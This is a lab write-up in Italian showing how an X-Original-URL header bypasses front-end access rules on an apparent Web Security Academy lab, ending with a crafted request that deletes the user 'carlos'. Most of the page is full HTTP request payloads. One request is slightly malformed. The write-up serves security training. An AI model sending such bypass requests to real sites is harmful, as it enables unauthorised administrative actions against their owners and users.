tags: Broken_Access_Control X-Original-URL_Broken_Access_Control


Alcune applicazioni applicano controlli di accesso a livello di piattaforma. lo fanno limitando l’accesso a URL specifici e metodi HTTP in base al ruolo dell’utente. Ad esempio, un’applicazione potrebbe configurare una regola come segue:

DENY: POST, /admin/deleteUser, managers

Questa regola nega l’accesso al metodo POST sull’URL /admin/deleteUser per gli utenti del gruppo manager. Varie cose possono andare storte in questa situazione, portando a bypassare il controllo degli accessi. Alcuni framework applicativi supportano varie intestazioni HTTP non standard che possono essere utilizzate per sovrascrivere l’URL nella richiesta originale, come ad esempio X-Original-URL e X-Rewrite-URL Se un sito web utilizza rigorosi controlli front-end per limitare l’accesso in base all’URL, ma l’applicazione consente di sovrascrivere l’URL tramite un’intestazione di richiesta, potrebbe essere possibile aggirare i controlli di accesso utilizzando una richiesta come la seguente:

POST / HTTP/1.1 
X-Original-URL: /admin/deleteUser

Per esempio poniamo di dover eliminare un utente da una pagina /admin alla quale non abbiamo accesso, la richiesta standard sarà la seguente:

GET /admin HTTP/2
Host: 0aec00e90323bb4b817457e3000c0024.web-security-academy.net
Cookie: session=j8gJVz6ntbCXIfnS2h7reKiRHtLkL0au
Sec-Ch-Ua: "Chromium";v="141", "Not?A_Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
 

Noi possiamo modificare la richiesta in questo modo:

POST / HTTP/2
Host: 0aec00e90323bb4b817457e3000c0024.web-security-academy.net
X-Original-Url: /admin
Content-Length: 647
 
Cookie: session=JrOkb2jf5VkX2UawvGxKhqWaeAQnFG2S
Sec-Ch-Ua: "Chromium";v="141", "Not?A_Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 2

Praticamente ho sostituito la richiesta GET con una POST, ho tolto la direzione dalla sezione del metodo GET /admin e l’ho inserita vicino al parametro X-Original-Url.

Nel caso non ci desse effettivamente i privilegi di admin, ma solo accesso a quella determinata richiesta è comunque possibile lavorare attivamente adottando la stessa tecnica per ogni richiesta, quindi se per esempio volessimo eliminare l’utente Carlos ci basterebbe prendere la richiesta di eliminazione dell’utente e modificarla nello stesso modo fatto in precedenza con qualche piccola modifica, quindi se per esempio la richiesta originale fosse la seguente:

GET /admin/delete?username=carlos HTTP/2
Host: 0aec00e90323bb4b817457e3000c0024.web-security-academy.net
Cookie: session=aBjSRtWak7etqhaPiKYXfiJOo5YAu5pH
Sec-Ch-Ua: "Chromium";v="141", "Not?A_Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00e90323bb4b817457e3000c0024.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Possiamo modificarla in questa:

POST / HTTP/2
Host: 0aec00e90323bb4b817457e3000c0024.web-security-academy.net
X-Original-Url: /admin/delete?username=carlos
Cookie: session=aBjSRtWak7etqhaPiKYXfiJOo5YAu5pH
Sec-Ch-Ua: "Chromium";v="141", "Not?A_Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00e90323bb4b817457e3000c0024.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 15
 
username=carlos

Come prima abbiamo sostituito GET con POST ed aggiunto il paramentro X-Original-Url, ma in più questa volta abbiamo dovuto mettere in fondo alla richiesta il paramentro username=carlos.